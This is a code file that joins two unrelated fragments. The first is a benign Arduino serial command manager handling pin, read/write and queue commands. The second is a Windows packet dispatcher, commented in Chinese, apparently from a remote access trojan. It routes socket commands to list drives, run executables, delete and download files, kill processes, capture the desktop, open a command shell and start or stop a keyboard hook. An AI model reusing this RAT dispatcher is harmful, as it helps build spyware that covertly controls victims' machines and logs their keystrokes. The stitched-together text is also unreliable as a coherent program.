void CmdManager::ProcessCommunication() { char _messageBuffer[this->m_CmdMessageSize]; bool _didReadMessage = this->ReadStreamToBuffer(_messageBuffer); if(_didReadMessage) { CmdMessage* _newMessage = (CmdMessage*) _messageBuffer; if(_newMessage->Target == CMD_TARGET_MANAGER) { this->ProcessCommandMessage(*_newMessage); } else if (_newMessage->Target == CMD_TARGET_ARDUINO) { if(this->m_BatchProcessing) { if (this->m_NextFreeQueuePosition >= this->m_TotalQueueLength) { CmdReply _reply = CmdReply(); _reply.Value = this->m_AvailableCommands; _reply.CommandReply = CMD_REPLY_FAILED; this->SendReply(_reply); return; } //copy the buffer to the queue position, making it a CmdMessage memcpy((void*)&(this->m_MessageQueue[this->m_NextFreeQueuePosition]), _newMessage, this->m_CmdMessageSize); this->m_NextFreeQueuePosition++; this->m_AvailableCommands--; } else { this->ProcessCommandMessage(*_newMessage); } } CmdReply _reply = CmdReply(); _reply.Value = this->m_AvailableCommands; _reply.CommandReply = CMD_REPLY_RECEIVED_COMMAND; this->SendReply(_reply); } }
void CmdManager::Pin_Mode(CmdMessage const & _cmdMessage) { pinMode(_cmdMessage.TargetPin, _cmdMessage.Value); CmdReply _reply = CmdReply(_cmdMessage); _reply.CommandReply = CMD_REPLY_OK; this->SendReply(_reply); }
void CmdManager::SetProcessMessageQueue(CmdMessage const & _cmdMessage) { this->m_ProcessQueue = (bool) _cmdMessage.Value; CmdReply _reply = CmdReply(_cmdMessage); _reply.CommandReply = CMD_REPLY_OK; this->SendReply(_reply); }
void CmdManager::Available_Commands(CmdMessage const & _cmdMessage) { CmdReply _reply = CmdReply(_cmdMessage); _reply.Value = this->m_AvailableCommands; _reply.CommandReply = CMD_REPLY_OK; this->SendReply(_reply); }
void CmdManager::Digital_Write(CmdMessage const & _cmdMessage) { digitalWrite(_cmdMessage.TargetPin, _cmdMessage.Value); CmdReply _reply = CmdReply(_cmdMessage); _reply.CommandReply = CMD_REPLY_OK; this->SendReply(_reply); }
void CmdManager::Digital_Read(CmdMessage const & _cmdMessage) { uint8_t _returnValue = digitalRead(_cmdMessage.TargetPin); CmdReply _reply = CmdReply(_cmdMessage); _reply.Value = _returnValue; _reply.CommandReply = CMD_REPLY_OK; this->SendReply(_reply); }
void CmdManager::Delay(CmdMessage const & _cmdMessage) { delay(_cmdMessage.Value); CmdReply _reply = CmdReply(_cmdMessage); _reply.CommandReply = CMD_REPLY_OK; this->SendReply(_reply); }
////////////////////////////////////////////////////////////////////////// //包分发机制 ////////////////////////////////////////////////////////////////////////// BOOL DispatchCmd(SOCKET sockfd,int dwSize) { switch (((RatProto*)szRecvCmd)->RatId) { case FILE_VIEW: { //列盘符 DriveList(sockfd); } break; case FILE_OPEN: { //打开指定文件 FileOpen(sockfd,dwSize); } break; case FILE_EXCUTE: { //执行EXE文件 FileExcute(sockfd,dwSize); } break; case FILE_BACK: { //文件夹回溯 FileBack(sockfd,dwSize); } break; case FILE_DELETE: { //删除文件 FileDelete(sockfd,dwSize); } break; case FILE_DOWNLOAD: { //下载文件 FileDownload(sockfd,dwSize); } break; case PROC_VIEW: { //PROCVIEW函数 ProcView(sockfd,dwSize); } break; case PROC_DELETE: { //删除PID指定进程 ProcDelete(sockfd,dwSize); } break; case DESK_VIEW: { //远程桌面捕获 DeskView(sockfd); } break; case CMD_REQUSET: { //响应CMD消息 CmdReply(sockfd,dwSize); } break; case KEY_OK: { //开启键盘监控 Start2Hook(sockfd); } break; case KEY_CANCEL: { //关闭键盘监控 Stop2Hook(sockfd); } break; case SYS_VIEW: { //SYSINFO相关函数 SysView(sockfd,dwSize); } break; default: return FALSE; } return TRUE; }